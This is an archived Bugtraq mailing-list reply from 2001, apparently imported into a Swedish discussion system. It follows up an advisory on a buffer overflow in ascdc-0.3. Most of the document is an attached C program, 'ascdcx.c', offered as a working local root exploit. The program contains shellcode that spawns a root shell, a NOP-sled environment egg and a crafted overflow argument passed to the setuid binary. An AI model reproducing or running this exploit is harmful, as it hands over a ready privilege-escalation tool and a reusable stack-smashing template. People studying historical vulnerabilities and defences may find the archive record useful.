6200920 2001-03-09 21:42 +0100 /24 rader/ The Itch <itchie@BSE.DIE.MS> Sänt av: joel@lysator.liu.se Importerad: 2001-03-11 20:05 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: itchie@BSE.DIE.MS Mottagare: Bugtraq (import) <15852> Kommentar till text 6191430 av <advisories@WKIT.COM> Ärende: Re: ascdc Buffer Overflow Vulnerability ------------------------------------------------------------ On Thu, 8 Mar 2001 advisories@WKIT.COM wrote: > TITLE: ascdc Buffer Overflow Vulnerability > ADVISORY ID: WSIR-01/02-06 > DISCOVERED BY: Christer Öberg, Wkit Security AB > CONTACT: advisories@wkit.com, Wkit Security AB > CLASS: Buffer Overflow > OBJECT: ascdc (exec) > VENDOR: Rob Malda (http://www.CmdrTaco.net) > REMOTE: No > LOCAL: Yes > VULNERABLE: ascdc-0.3 > > Attaced is a working version of the exploit for ascdc-0.3 using the -c switch this time. -- - The Itch http://bse.die.ms (6200920) ------------------------------------------ Bilaga (text/plain) i text 6200921 6200921 2001-03-09 21:42 +0100 /103 rader/ The Itch <itchie@BSE.DIE.MS> Bilagans filnamn: "ascdcx.c" Importerad: 2001-03-11 20:05 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: itchie@BSE.DIE.MS Mottagare: Bugtraq (import) <15853> Bilaga (text/plain) till text 6200920 Ärende: Bilaga (ascdcx.c) till: Re: ascdc Buffer Overflow Vulnerability ------------------------------------------------------------ /* /usr/X11R6/bin/ascdc local exploit. * (version: ascdc-0.3-2-i386) * * Vulnerability found by Christer Öberg, Wkit Security AB * * <cut and pasted from the advisory posted on bugtraq> * * There are multiple buffer overflows in ascdc that can be exploited to * gain root if it is installed setuid root. It is NOT installed setuid root * by default but as the README says: * "If you intend to use the automounting feature, you must either run * ascdc as root or setuid it." * * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote, * Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial * Goolie and X-wartech. * * - The Itch / BsE * - http://bse.die.ms * - irc.axenet.org */ #include <stdio.h> #include <stdlib.h> #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 /* adjust if needed, this should be suffient */ #define DEFAULT_BUFFER_SIZE 600 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; if(argc > 1) { bsize = atoi(argv[1]); } if(!(buff = malloc(bsize))) { printf("unable to allocate memory for %d bytes\n", bsize); exit(1); } if(!(egg = malloc(eggsize))) { printf("unable to allocate memory for %d bytes\n", eggsize); exit(1); } addr = get_sp(); printf("/usr/X11R6/bin/ascdc local exploit.\n"); printf("Coded by The Itch / BsE\n\n"); printf("Using return address: 0x%x\n", addr); printf("Using buffersize : %d\n", bsize); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); putenv(egg); memcpy(buff, "RET=", 4); putenv(buff); system("/usr/X11R6/bin/ascdc -c $RET"); return 0; } /* remember, there's no cure for BsE */ (6200921) ------------------------------------------